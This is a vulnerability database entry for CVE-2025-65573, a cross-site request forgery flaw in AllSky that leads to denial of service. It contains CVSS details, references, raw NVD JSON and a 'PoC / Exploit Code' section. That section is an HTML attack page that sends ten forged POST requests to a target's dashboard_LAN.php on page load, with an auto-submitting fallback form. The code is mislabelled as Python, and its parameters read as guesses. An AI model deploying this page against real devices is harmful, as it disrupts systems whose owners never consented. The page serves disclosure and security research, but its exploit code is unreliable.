CVE-2025-65573

Description

Cross Site Request Forgery (CSRF) vulnerability in AllskyTeam AllSky v2024.12.06_06 allows remote attackers to cause a denial of service via function handle_interface_POST_and_status.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:allskyteam:allsky:2024.12.06_06:*:*:*:*:*:*:* - VULNERABLE

AllskyTeam AllSky v2024.12.06_06

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-65573 -->
<!-- Target: AllskyTeam AllSky handle_interface_POST_and_status function -->
<!-- This PoC demonstrates CSRF attack leading to DoS -->

<!DOCTYPE html>
<html>
<head>
    <title>AllSky CSRF PoC - CVE-2025-65573</title>
</head>
<body>
    <h1>AllSky CSRF DoS Attack PoC</h1>
    <p>If successful, this will cause denial of service on the target AllSky system.</p>
    
    <script>
        // Function to send malicious POST request
        function sendMaliciousRequest() {
            // Target AllSky LAN interface endpoint
            const targetUrl = 'http://TARGET_IP/html/includes/dashboard_LAN.php';
            
            // Malicious payload that triggers DoS via handle_interface_POST_and_status
            const maliciousData = {
                // Malformed parameters to trigger error condition
                'interface_status': 'invalid_status',
                'handle_interface_POST_and_status': '1',
                // Add parameters that may cause resource exhaustion
                'action': 'configure',
                'lan_settings': JSON.stringify({
                    'ip': '0.0.0.0',
                    'gateway': '0.0.0.0',
                    'dns': '0.0.0.0',
                    'subnet': '0.0.0.0'
                })
            };
            
            // Send POST request
            fetch(targetUrl, {
                method: 'POST',
                mode: 'no-cors',  // Bypass CORS for CSRF
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: new URLSearchParams(maliciousData)
            })
            .then(() => console.log('Request sent'))
            .catch(err => console.error('Error:', err));
        }
        
        // Auto-execute on page load
        window.onload = function() {
            // Send multiple requests to increase DoS effect
            for(let i = 0; i < 10; i++) {
                setTimeout(sendMaliciousRequest, i * 100);
            }
        };
    </script>
    
    <noscript>
        <p>JavaScript is required for this attack.</p>
        <form id="csrfForm" action="http://TARGET_IP/html/includes/dashboard_LAN.php" method="POST">
            <input type="hidden" name="interface_status" value="invalid_status">
            <input type="hidden" name="handle_interface_POST_and_status" value="1">
            <input type="hidden" name="action" value="configure">
            <button type="submit">Click to Attack</button>
        </form>
        <script>document.getElementById('csrfForm').submit();</script>
    </noscript>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65573
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65573
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65573/
[4] VulDB https://vuldb.com/cve/CVE-2025-65573
[5] https://gh0stmezh.wordpress.com/2025/12/05/cve-2025-65573/
[6] https://github.com/AllskyTeam/allsky
[7] https://github.com/AllskyTeam/allsky/blob/master/html/includes/dashboard_LAN.php
[8] https://github.com/AllskyTeam/allsky/blob/master/html/includes/dashboard_WLAN.php
[9] https://github.com/AllskyTeam/allsky/blob/master/html/includes/functions.php
[10] https://gh0stmezh.wordpress.com/2025/12/05/cve-2025-65573/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-65573", "sourceIdentifier": "[email protected]", "published": "2025-12-09T19:15:49.657", "lastModified": "2025-12-16T20:00:30.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Request Forgery (CSRF) vulnerability in AllskyTeam AllSky v2024.12.06_06 allows remote attackers to cause a denial of service via function handle_interface_POST_and_status."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:allskyteam:allsky:2024.12.06_06:*:*:*:*:*:*:*", "matchCriteriaId": "E0704121-18E0-4B0F-9ACB-29812AC92F63"}]}]}], "references": [{"url": "https://gh0stmezh.wordpress.com/2025/12/05/cve-2025-65573/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/AllskyTeam/allsky", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/AllskyTeam/allsky/blob/master/html/includes/dashboard_LAN.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/AllskyTeam/allsky/blob/master/html/includes/dashboard_WLAN.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/AllskyTeam/allsky/blob/master/html/includes/functions.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gh0stmezh.wordpress.com/2025/12/05/cve-2025-65573/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}